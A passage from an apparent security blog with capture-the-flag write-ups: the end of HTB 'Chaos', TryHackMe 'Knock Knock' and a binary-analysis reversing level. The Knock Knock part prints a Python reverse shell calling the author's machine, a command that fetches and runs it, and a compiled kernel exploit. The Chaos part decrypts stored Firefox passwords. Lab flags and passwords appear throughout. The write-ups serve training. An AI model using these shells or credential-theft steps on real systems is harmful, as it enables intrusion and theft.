{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$

The password was encrypted, so I could not access it, but I could see that the password was for https://chaos.htb:10000 , which is the webmin interface.

After some more research, I found a tool that can decrypt Mozilla profile passwords, provided the correct master key.

As for everything else on this machine, basically, I used the original jiujitsu password and the decryption succeeded.

ayush@chaos:~/.mozilla$ python firefox_decrypt.py firefox
python firefox_decrypt.py firefox

Master Password for profile firefox/bzo7sjt1.default: jiujitsu

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

Root

With the webmin credentials I could login in the web interface, and here we had a root shell waiting for us, from where we could confortably cat the root flag.

cat /root/root.txt
4eca7e09e3520e020884563cfbabbc70

Knock, Knock - TryHackMe CTF

Sat, 16 Feb 2019 00:00:00 +0000

Introduction

This machine, according to its documentation, is meant to improve knowledge about port knocking, pcap analysis and basic linux exploitation.

Port Knocking

Port knocking is a technique used to open ports on a firewall by generating connection attempts on a single or on a specific sequence or ports. If the correct sequence/port is probed, the firewall will open the actual port for the host which attempted the connections.

Enumerating

The first thing that needs to be done is, as always, is enumerating the machine.

# nmap -sV -sS  10.0.0.78
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 18:27 EET
Nmap scan report for 10.0.0.78
Host is up (0.057s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

Apache is running on port 80, curl-ing on the port we get:

# curl 10.0.0.78
<html>
<h1>huhuhuh Hey Beavis... huhuhh  Check it out!</h1>
<br>
<a href="pcap1.pcap">Wooah</a>
</html>

This is the first pcap file, so let’s download it.

wget 10.0.0.78/pcap1.pcap

I then used Wireshark to analyze it.

Since the machine is about port knocking, let’s focus primarily on TCP connections. Twice we can see that there are three sequences of TCP SYN packets to port 7000, 8000 and 9000 respectively. Probably this is the sequence to use to open some other port.

In order to do the knocking, it is possible to use telnet or to use a custom program such as this simple Python tool.

# telnet 10.0.0.78 7000
Trying 10.0.0.78...
telnet: Unable to connect to remote host: Connection refused
root@kali:~/CTF/tryhackme/knockknock# telnet 10.0.0.78 8000
Trying 10.0.0.78...
telnet: Unable to connect to remote host: Connection refused
root@kali:~/CTF/tryhackme/knockknock# telnet 10.0.0.78 9000
Trying 10.0.0.78...
telnet: Unable to connect to remote host: Connection refused
root@kali:~/CTF/tryhackme/knockknock# nmap -sV -sS  10.0.0.78 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 18:40 EET
Nmap scan report for 10.0.0.78
Host is up (0.063s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.7 ((Ubuntu))
8888/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.17 seconds

Ok, now we see that port 8888 is open. In fact, looking at the pcap file, we can see that after the second port knocking, there is a TCP connection to port 8888.

# telnet 10.0.0.78 8888
Trying 10.0.0.78...
Connected to 10.0.0.78.
Escape character is '^]'.
/burgerworld/
Connection closed by foreign host.

Connecting to this port we found what looks like a web path. So let’s use curl again to explore it.

# curl 10.0.0.78/burgerworld/
<html>
<h1>heheheh..Hey Hows It Going..heheh..</h1>
<br>
<a href="pcap2.pcap">heheh...hehh..</a>
</html>

Another pcap file to download and analyze. This time there are no obvious sequences of TCP connection that might be another port knocking configuration. Following the TCP streams though, and in particular the last part of the pcap, we can find a ‘hidden’ message.

It is not needed to speak german to understand that eins drei and seiben are one, three and seven respectively. Let’s knock on these ports then and see what happens.

# python3 knock.py 10.0.0.78 1 3 3 7
root@kali:~/CTF/tryhackme/knockknock# nmap -sV -sS  10.0.0.78 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 19:02 EET
Nmap scan report for 10.0.0.78
Host is up (0.060s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
1337/tcp open  waste?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.70%I=7%D=2/16%Time=5C684247%P=x86_64-pc-linux-gnu%r(NU
SF:LL,F,"/iamcornholio/\n")%r(GenericLines,F,"/iamcornholio/\n")%r(GetRequ
SF:est,F,"/iamcornholio/\n")%r(HTTPOptions,F,"/iamcornholio/\n")%r(RTSPReq
SF:uest,F,"/iamcornholio/\n")%r(RPCCheck,F,"/iamcornholio/\n")%r(DNSVersio
SF:nBindReqTCP,F,"/iamcornholio/\n")%r(DNSStatusRequestTCP,F,"/iamcornholi
SF:o/\n")%r(Help,F,"/iamcornholio/\n")%r(SSLSessionReq,F,"/iamcornholio/\n
SF:")%r(TLSSessionReq,F,"/iamcornholio/\n")%r(Kerberos,F,"/iamcornholio/\n
SF:")%r(SMBProgNeg,F,"/iamcornholio/\n")%r(X11Probe,F,"/iamcornholio/\n")%
SF:r(FourOhFourRequest,F,"/iamcornholio/\n")%r(LPDString,F,"/iamcornholio/
SF:\n")%r(LDAPSearchReq,F,"/iamcornholio/\n")%r(LDAPBindReq,F,"/iamcornhol
SF:io/\n")%r(SIPOptions,F,"/iamcornholio/\n")%r(LANDesk-RC,F,"/iamcornholi
SF:o/\n")%r(TerminalServer,F,"/iamcornholio/\n")%r(NCP,F,"/iamcornholio/\n
SF:")%r(NotesRPC,F,"/iamcornholio/\n")%r(JavaRMI,F,"/iamcornholio/\n")%r(W
SF:MSRequest,F,"/iamcornholio/\n")%r(oracle-tns,F,"/iamcornholio/\n")%r(ms
SF:-sql-s,F,"/iamcornholio/\n")%r(afp,F,"/iamcornholio/\n")%r(giop,F,"/iam
SF:cornholio/\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.46 seconds

Ok, after knocking on ports 1 3 3 and 7, we can see port 1337 open. We don’t need more than nmap’s own fingerprint to see another web directory: iamcornholio.

# curl 10.0.0.78/iamcornholio/
<html>

<h1>huhhuhhh...Hey Beavis...Im all about uhhh...huhuh...that base huhhuhhh...</h1>

T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK

</html>

This looks clearly like a base64 encoded string, so let’s decode it.

# echo "T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK" | base64 -d
Open up SSH: 8888 9999 7777 6666

Ok, seems like this will be the last knocking, to open SSH.

# python3 knock.py 10.0.0.78 8888 9999 7777 6666
root@kali:~/CTF/tryhackme/knockknock# ssh 10.0.0.78
The authenticity of host '10.0.0.78 (10.0.0.78)' can't be established.
ECDSA key fingerprint is SHA256:uSdkKIWXcJl0j0P5Y+cAzjD9CJOFQ/NxtG8kz8ptzFE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.0.78' (ECDSA) to the list of known hosts.
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
root@10.0.0.78's password: 

SSH banner presents us with some credentials to use, so let’s try to SSH with those.

# ssh butthead@10.0.0.78
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78's password: 
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.13.0-46-generic i686)

 * Documentation:  https://help.ubuntu.com/
Last login: Tue Mar  3 01:02:49 2015 from 192.168.56.102
You are only logging in for a split second! What do you do!
Connection to 10.0.0.78 closed.

The connection closes right away, so we do not have time to run any command, but we can use ssh to run commands one by one.

# ssh butthead@10.0.0.78 pwd
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78's password: 
/home/butthead
root@kali:~/CTF/tryhackme/knockknock# ssh butthead@10.0.0.78 ls -l /home/butthead/
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78's password: 
total 4
-rw-rw-r-- 1 butthead butthead 67 Mar  3  2015 nachos
# ssh butthead@10.0.0.78 cat nachos
############################################
# CONGRATS! YOU HAVE OPENED THE SSH SERVER #
# USERNAME: butthead                       #
# PASSWORD: nachosrule                     #
############################################
butthead@10.0.0.78's password: 
Great job on getting this far.

Can you login as beavis or root ?

So, there is a file ‘nachos’ inside the home directory of the butthead user which challenges us to login as root. At this point it is more convenient to get a proper shell. In order to do this, let’s host on the kali VM we are using a file called shell.py, a simple reverse shell in Python with hardcoded connection parameters.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.8.0.108",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

In this case 10.8.0.108 is the address of my Kali VM. From here, let’s use netcat to listen to incoming connections.

nc -lvp 4444

Let’s now get the file on the target machine and let’s execute it with:

ssh butthead@10.0.0.78 wget 10.8.0.108/shell.py && python shell.py

At this point a simple shell is spawned and we can run commands more conveniently from our Kali VM. uname -a tells us that the target machine is running Linux 3.13. A quick search on ExploitDB points us to an exploit to elevate privileges.

Let’s put the C code for the exploit in a file that we will again serve from the Kali machine. After this is done, we need to download the file, compile it and run it.

wget 10.8.0.108/osf.c
gcc osf.c -o osf
./osf
[...]
# whoami
root

We got root, so to conclude this machine, we check as usual in /root where we finally find

# ls -la /root
total 28
drwx------  3 root root 4096 Mar  3  2015 .
drwxr-xr-x 21 root root 4096 Mar  2  2015 ..
drwx------  2 root root 4096 Mar  2  2015 .aptitude
-rw-------  1 root root  370 Mar  3  2015 .bash_history
-rw-r--r--  1 root root 3106 Feb 19  2014 .bashrc
-rw-r--r--  1 root root  140 Feb 19  2014 .profile
-rw-r--r--  1 root root  202 Mar  3  2015 SECRETZ
# ls -la /root/SECRETZ
-rw-r--r-- 1 root root 202 Mar  3  2015 /root/SECRETZ
# cat /root/SECRETZ
You have done a great job, if you can see this, please shoot me an email
and let me know that you have beat this box!

SECRET = "LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"

admin@top-hat-sec.com

Now we can consider this machine pwned.

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.

Practical Binary Analysis - Chapter 5 CTF walkthrough level 5

Sat, 26 Jan 2019 00:00:00 +0000

A few days ago I have been writing about my solution of the levels 1(2) to 4 of the CTF which is left as an exercise at the end of Chapter 5 of Practical Binary Analysis.

In this post I will discuss my solution for the fifth level of this CTF. I am not ashamed of the fact that I totally overengineered this level and it took me way more time to solve it than necessary. Despite this, it was a very good occasion to learn and familiarize myself with the tools of the trade, gdb in particular.

Level 5

As per usual, the binary to “crack” to solve this level is called lvl5.

The file is a normal 64-bit stripped ELF.

$ file lvl5
lvl5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c4f1d4d245a8e252b77c38c9c1ba936f70d8245, stripped

Running the program just prints “nothing to see here” and exits.

$ ltrace ./lvl5
__libc_start_main(0x400500, 1, 0x7ffdeec9e6c8, 0x4006f0 <unfinished ...>
puts("nothing to see here"nothing to see here) = 20
+++ exited (status 1) +++

$ strace ./lvl5
execve("./lvl5", ["./lvl5"], [/* 30 vars */]) = 0
brk(NULL)                               = 0x23ed000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=100346, ...}) = 0
mmap(NULL, 100346, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5658bb4000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1868984, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5658bb3000
mmap(NULL, 3971488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f56585de000
mprotect(0x7f565879e000, 2097152, PROT_NONE) = 0
mmap(0x7f565899e000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c0000) = 0x7f565899e000
mmap(0x7f56589a4000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f56589a4000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5658bb2000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5658bb1000
arch_prctl(ARCH_SET_FS, 0x7f5658bb2700) = 0
mprotect(0x7f565899e000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7f5658bcd000, 4096, PROT_READ) = 0
munmap(0x7f5658bb4000, 100346)          = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x23ed000
brk(0x240e000)                          = 0x240e000
write(1, "nothing to see here\n", 20nothing to see here
)   = 20
exit_group(1)                           = ?
+++ exited with 1 +++

Both ltrace and strace do not give any useful information.

Strings command (or dumping .rodata section) shows the following interesting strings:

key = 0x%08x
decrypted flag = %s
nothing to see here

One we expected, but the others clearly are used somewhere else, and their semantic is pretty clear.

The next step is to disassemble the binary and look at the code. At a first glance, there seem to be no anomalies or weird things in the code.

Let’s use gdb to trace the execution of the code.

$ gdb lvl5
(gdb) info files
Symbols from "/home/binary/code/chapter5/lvl5".
Local exec file:
`/home/binary/code/chapter5/lvl5', file type elf64-x86-64.
        
Entry point: 0x400520
    0x0000000000400238 - 0x0000000000400254 is .interp
    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
    [...]
(gdb) b *0x400520
Breakpoint 1 at 0x400520
(gdb) set pagination off
(gdb) set logging on
Copying output to gdb.txt.
(gdb) set logging redirect on
Redirecting output to gdb.txt.
(gdb) run
(gdb) display/i $pc
(gdb) while 1
 >si
 >end
nothing to see here
(gdb)

Now it’s convenient to examine the output of the trace with

$ grep "=> 0x4" gdb.txt

In this case I am grepping for the instructions with 0x4xxxxx because I have seen that the instructions in the .txt are all in the 0x400500-0x400762 range. This will spare me the noise of the instructions which happen inside library functions.

=> 0x400520:    xor    %ebp,%ebp
=> 0x400522:    mov    %rdx,%r9
=> 0x400525:    pop    %rsi
=> 0x400526:    mov    %rsp,%rdx
=> 0x400529:    and    $0xfffffffffffffff0,%rsp
=> 0x40052d:    push   %rax
=> 0x40052e:    push   %rsp
=> 0x40052f:    mov    $0x400760,%r8
=> 0x400536:    mov    $0x4006f0,%rcx
=> 0x40053d:    mov    $0x400500,%rdi
=> 0x400544:    callq  0x4004d0 <__libc_start_main@plt>
=> 0x4004d0 <__libc_start_main@plt>:    jmpq   *0x200b52(%rip)        # 0x601028
=> 0x4004d6 <__libc_start_main@plt+6>:  pushq  $0x2
=> 0x4004db <__libc_start_main@plt+11>: jmpq   0x4004a0
=> 0x4004a0:    pushq  0x200b62(%rip)        # 0x601008
=> 0x4004a6:    jmpq   *0x200b64(%rip)        # 0x601010
=> 0x4006f0:    push   %r15
=> 0x4006f2:    push   %r14
=> 0x4006f4:    mov    %edi,%r15d
=> 0x4006f7:    push   %r13
=> 0x4006f9:    push   %r12
=> 0x4006fb:    lea    0x20070e(%rip),%r12        # 0x600e10
=> 0x400702:    push   %rbp
=> 0x400703:    lea    0x20070e(%rip),%rbp        # 0x600e18
=> 0x40070a:    push   %rbx
=> 0x40070b:    mov    %rsi,%r14
=> 0x40070e:    mov    %rdx,%r13
=> 0x400711:    sub    %r12,%rbp
=> 0x400714:    sub    $0x8,%rsp
=> 0x400718:    sar    $0x3,%rbp
=> 0x40071c:    callq  0x400480
=> 0x400480:    sub    $0x8,%rsp
=> 0x400484:    mov    0x200b6d(%rip),%rax        # 0x600ff8
=> 0x40048b:    test   %rax,%rax
=> 0x40048e:    je     0x400495
=> 0x400495:    add    $0x8,%rsp
=> 0x400499:    retq   
=> 0x400721:    test   %rbp,%rbp
=> 0x400724:    je     0x400746
=> 0x400726:    xor    %ebx,%ebx
=> 0x400728:    nopl   0x0(%rax,%rax,1)
=> 0x400730:    mov    %r13,%rdx
=> 0x400733:    mov    %r14,%rsi
=> 0x400736:    mov    %r15d,%edi
=> 0x400739:    callq  *(%r12,%rbx,8)
=> 0x4005f0:    mov    $0x600e20,%edi
=> 0x4005f5:    cmpq   $0x0,(%rdi)
=> 0x4005f9:    jne    0x400600
=> 0x4005fb:    jmp    0x400590
=> 0x400590:    mov    $0x601048,%esi
=> 0x400595:    push   %rbp
=> 0x400596:    sub    $0x601048,%rsi
=> 0x40059d:    sar    $0x3,%rsi
=> 0x4005a1:    mov    %rsp,%rbp
=> 0x4005a4:    mov    %rsi,%rax
=> 0x4005a7:    shr    $0x3f,%rax
=> 0x4005ab:    add    %rax,%rsi
=> 0x4005ae:    sar    %rsi
=> 0x4005b1:    je     0x4005c8
=> 0x4005c8:    pop    %rbp
=> 0x4005c9:    retq   
=> 0x40073d:    add    $0x1,%rbx
=> 0x400741:    cmp    %rbp,%rbx
=> 0x400744:    jne    0x400730
=> 0x400746:    add    $0x8,%rsp
=> 0x40074a:    pop    %rbx
=> 0x40074b:    pop    %rbp
=> 0x40074c:    pop    %r12
=> 0x40074e:    pop    %r13
=> 0x400750:    pop    %r14
=> 0x400752:    pop    %r15
=> 0x400754:    retq   
=> 0x400500:    sub    $0x8,%rsp
=> 0x400504:    mov    $0x400797,%edi
=> 0x400509:    callq  0x4004b0 <puts@plt>
=> 0x4004b0 <puts@plt>: jmpq   *0x200b62(%rip)        # 0x601018
=> 0x4004b6 <puts@plt+6>:       pushq  $0x0
=> 0x4004bb <puts@plt+11>:      jmpq   0x4004a0
=> 0x4004a0:    pushq  0x200b62(%rip)        # 0x601008
=> 0x4004a6:    jmpq   *0x200b64(%rip)        # 0x601010
=> 0x40050e:    mov    $0x1,%eax
=> 0x400513:    add    $0x8,%rsp
=> 0x400517:    retq   
=> 0x4005d0:    cmpb   $0x0,0x200a71(%rip)        # 0x601048
=> 0x4005d7:    jne    0x4005ea
=> 0x4005d9:    push   %rbp
=> 0x4005da:    mov    %rsp,%rbp
=> 0x4005dd:    callq  0x400550
=> 0x400550:    mov    $0x60104f,%eax
=> 0x400555:    push   %rbp
=> 0x400556:    sub    $0x601048,%rax
=> 0x40055c:    cmp    $0xe,%rax
=> 0x400560:    mov    %rsp,%rbp
=> 0x400563:    jbe    0x400580
=> 0x400580:    pop    %rbp
=> 0x400581:    retq   
=> 0x4005e2:    pop    %rbp
=> 0x4005e3:    movb   $0x1,0x200a5e(%rip)        # 0x601048
=> 0x4005ea:    repz retq 
=> 0x400764:    sub    $0x8,%rsp
=> 0x400768:    add    $0x8,%rsp
=> 0x40076c:    retq

Until 0x400500 there are all init instructions, then there are basically 3 instructions of the ‘main’ function and the rest are all fini instructions.

Cross referencing the trace of the execution with the disassembled binary, it is possible to create a primitive flow chart and it is also possible to notice that a large chunk of instructions are completely unused.

This chunk ranges from 0x4005fd to 0x4006ea.

Having a look at the code, we can observe the following (commented) code.

  4005fd:       0f 1f 00                nopl   (%rax)
  400600:       b8 00 00 00 00          mov    $0x0,%eax
  400605:       48 85 c0                test   %rax,%rax
  400608:       74 f1                   je     4005fb <__printf_chk@plt+0x11b>
  40060a:       55                      push   %rbp
  40060b:       48 89 e5                mov    %rsp,%rbp
  40060e:       ff d0                   callq  *%rax
  400610:       5d                      pop    %rbp
  400611:       e9 7a ff ff ff          jmpq   400590 <__printf_chk@plt+0xb0>
  400616:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  40061d:       00 00 00 
  # Save base pointer
  400620:       53                      push   %rbx
  # esi = 0x400774 (@40774 = "key = %08x\n")
  400621:       be 74 07 40 00          mov    $0x400774,%esi
  # edi = 1
  400626:       bf 01 00 00 00          mov    $0x1,%edi
  # rsp = rsp - 48bytes = 0x7fffffffe370
  40062b:       48 83 ec 30             sub    $0x30,%rsp
  # rax = fs[0x28] ; rax = 0x375ec5c0cae7ab00 (stack canary)
  40062f:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  400636:       00 00 
  # rsp+40bytes = 0x375ec5c0cae7ab00
  # 0x7fffffffe398: 0x00    0xab    0xe7    0xca    0xc0    0xc5    0x5e    0x37
  400638:       48 89 44 24 28          mov    %rax,0x28(%rsp)
  # eax = 0
  40063d:       31 c0                   xor    %eax,%eax
  # rax = 0x6223331533216010
  40063f:       48 b8 10 60 21 33 15    movabs $0x6223331533216010,%rax
  400646:       33 23 62 
  # rsp+32bytes = 0 (1 byte)
  # 0x7fffffffe390: 0x00 (string terminator)
  400649:       c6 44 24 20 00          movb   $0x0,0x20(%rsp)
  # rsp = 0x6223331533216010
  #0x7fffffffe370: 0x10    0x60    0x21    0x33    0x15    0x33    0x23    0x62
  40064e:       48 89 04 24             mov    %rax,(%rsp)
  # rax = 0x6675364134766545
  400652:       48 b8 45 65 76 34 41    movabs $0x6675364134766545,%rax
  400659:       36 75 66 
  # rsp + 8 = 0x6675364134766545
  40065c:       48 89 44 24 08          mov    %rax,0x8(%rsp)
  # rax = 0x6675364134766545
  400661:       48 b8 17 67 75 64 10    movabs $0x6570331064756717,%rax
  400668:       33 70 65 
  # rsp + 16 = 0x6675364134766545
  40066b:       48 89 44 24 10          mov    %rax,0x10(%rsp)
  # rax = 0x6671671162763518
  400670:       48 b8 18 35 76 62 11    movabs $0x6671671162763518,%rax
  400677:       67 71 66 
  # rsp + 24 = 0x6671671162763518
  40067a:       48 89 44 24 18          mov    %rax,0x18(%rsp)
  # At this point the encrypted flag is all in memory, split in 4 pieces
  # ebx = *0x400540 = 0x400500
  40067f:       8b 1c 25 40 05 40 00    mov    0x400540,%ebx
  # eax = 0
  400686:       31 c0                   xor    %eax,%eax
  # edx = 0x400500
  400688:       89 da                   mov    %ebx,%edx
  # printf("key = %08x\n", 0x400500) 
  40068a:       e8 51 fe ff ff          callq  4004e0 <__printf_chk@plt>
  # rdx = rsp + 32 (end of the key) = 0x7fffffffe390
  40068f:       48 8d 54 24 20          lea    0x20(%rsp),%rdx
  # rax = rsp (beginning of the key) = 0x7fffffffe370
  400694:       48 89 e0                mov    %rsp,%rax
  # NOP
  400697:       66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)
  40069e:       00 00 
  # *eax = *eax xor ebx; 4 bytes pointed by rax are XOR'd with the key (0x400500)
  4006a0:       31 18                   xor    %ebx,(%rax)
  # eax += 4
  4006a2:       48 83 c0 04             add    $0x4,%rax
  # if rdx == rax (string is finished); done otherwise make this loop again. 
  # loop is executed 8 times
  4006a6:       48 39 d0                cmp    %rdx,%rax
  4006a9:       75 f5                   jne    4006a0 <__printf_chk@plt+0x1c0>
  # eax = 0
  4006ab:       31 c0                   xor    %eax,%eax
  # rdx = rsp = beginning of flag
  4006ad:       48 89 e2                mov    %rsp,%rdx
  # eax += 4
  4006a2:       48 83 c0 04             add    $0x4,%rax
  # if rdx == rax (string is finished); done otherwise make this loop again. 
  # loop is executed 8 times
  4006a6:       48 39 d0                cmp    %rdx,%rax
  4006a9:       75 f5                   jne    4006a0 <__printf_chk@plt+0x1c0>
  # eax = 0
  4006ab:       31 c0                   xor    %eax,%eax
  # rdx = rsp = beginning of flag
  4006ad:       48 89 e2                mov    %rsp,%rdx
  # esi = 0x400782
  # 0x400782:       "decrypted flag = %s\n"
  4006b0:       be 82 07 40 00          mov    $0x400782,%esi
  # edi = 1 (file pointer for stdout)
  4006b5:       bf 01 00 00 00          mov    $0x1,%edi
  # printf("decrypted flag = %s\n", 0x7fffffffe370)
  4006ba:       e8 21 fe ff ff          callq  4004e0 <__printf_chk@plt>
  # eax = 0
  4006bf:       31 c0                   xor    %eax,%eax
  # rcx = rsp + 40
  4006c1:       48 8b 4c 24 28          mov    0x28(%rsp),%rcx
  # Check canary
  4006c6:       64 48 33 0c 25 28 00    xor    %fs:0x28,%rcx
  4006cd:       00 00 
  # If canary got changed, throw error
  4006cf:       75 06                   jne    4006d7 <__printf_chk@plt+0x1f7>
  # else: rsp = rsp + 48 (clean the stack)
  4006d1:       48 83 c4 30             add    $0x30,%rsp
  # rbx = saved rbx
  4006d5:       5b                      pop    %rbx
  # return
  4006d6:       c3                      retq   
  4006d7:       e8 e4 fd ff ff          callq  4004c0 <__stack_chk_fail@plt>
  4006dc:       0f 1f 40 00             nopl   0x0(%rax)
  4006e0:       bf 97 07 40 00          mov    $0x400797,%edi
  4006e5:       e9 c6 fd ff ff          jmpq   4004b0 <puts@plt>
  4006ea:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)

In pseudocode the code above would be something on the lines of:

rsp = rsp-48
rsp[0-8]=0x6223331533216010
rsp[8-16]=0x6675364134766545
rsp[16-24]=0x6675364134766545
rsp[24-32]=0x6671671162763518
rsp[32]=0
ebx = *0x400540
printf("key = %08x\n", ebx)
for (i=0; i<32; i = i+8):
    rsp[i] = rsp[i] ^ ebx
printf("decrypted flag = %s\n", rsp)

In practice, first the ‘encrypted’ flag is laid in memory on the stack. Then the key is retrieved from 0x400540 address, and then the flag is decryped XOR-ing the key with the encrypted flag.

Address 0x400540 is part of what the ‘primitive flow chart’ calls entrypoint:

[1] 0000000000400520 .entry
  400520:       31 ed                   xor    %ebp,%ebp
  400522:       49 89 d1                mov    %rdx,%r9
  400525:       5e                      pop    %rsi
  400526:       48 89 e2                mov    %rsp,%rdx
  400529:       48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
  40052d:       50                      push   %rax
  40052e:       54                      push   %rsp
  40052f:       49 c7 c0 60 07 40 00    mov    $0x400760,%r8
  400536:       48 c7 c1 f0 06 40 00    mov    $0x4006f0,%rcx
  40053d:       48 c7 c7 -->00 05 40 00 <--    mov    $0x400500,%rdi
  400544:       e8 87 ff ff ff          callq  4004d0 <__libc_start_main@plt>

At that address there is the 0x(00)400500 value, which is the address of the first instruction of our ‘main’ function.

Trying to hijack the control flow with gdb and manually passing control to the “unused” function leads to a corrupted flag.

(gdb) b *0x400500
Breakpoint 1 at 0x400500
(gdb) run
Starting program: /home/binary/code/chapter5/lvl5 

Breakpoint 1, 0x0000000000400500 in ?? ()
(gdb) set $rip=0x400620
(gdb) continue
Continuing.
key = 0x00400500
decrypted flag = ea36cbE`64A35fb5d60e06bb1f
[Inferior 1 (process 9855) exited normally]

As we can see, the “key” is 0x00400500 as expected, but cleary is not the correct one.

Instead of abusing gdb to redirect the ‘main’ to our unused function, we can let the code do i directly.

We can see that instruction

  40052f:       49 c7 c0 60 07 40 00    mov    $0x400760,%r8
  400536:       48 c7 c1 f0 06 40 00    mov    $0x4006f0,%rcx
  40053d:       48 c7 c7 00 05 40 00    mov    $0x400500,%rdi
  400544:       e8 87 ff ff ff          callq  4004d0 <__libc_start_main@plt>

prepare the arguments for the main function and pass control to it. If instead of 0x00400500 we make it call 0x400620 the ‘main’ function will now be automatically our ‘secret’ routine. This will not only pass control to the code that prints the flag, but will also change the key used to decrypt, as it will now be 0x400620.

So let’s change

40053d:       48 c7 c7 00 05 40 00    mov    $0x400500,%rdi

40053d:       48 c7 c7 20 06 40 00    mov    $0x400620,%rdi

We can now just run the binary:

$ ./lvl5 
key = 0x00400620
decrypted flag = 0fa355cbec64a05f7a5d050e836b1a1f

The flag looks decrypted correctly this time, so we can use it to unlock the next level!

$ ./oracle 0fa355cbec64a05f7a5d050e836b1a1f
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 5 completed, unlocked lvl6         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with -h to show a hint

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.

Practical Binary Analysis - Chapter 5 CTF walkthrough levels 1-4

Sat, 19 Jan 2019 00:00:00 +0000

A few months ago I have started studying a wonderful book I bought some time ago: Practical Binary Analysis [¹].

First and foremost, I strongly recommend this book to whoever would like to approach the world of the Linux binary analysis, I honestly believe that it is very clear, very well structured, detailed and comprehensive.

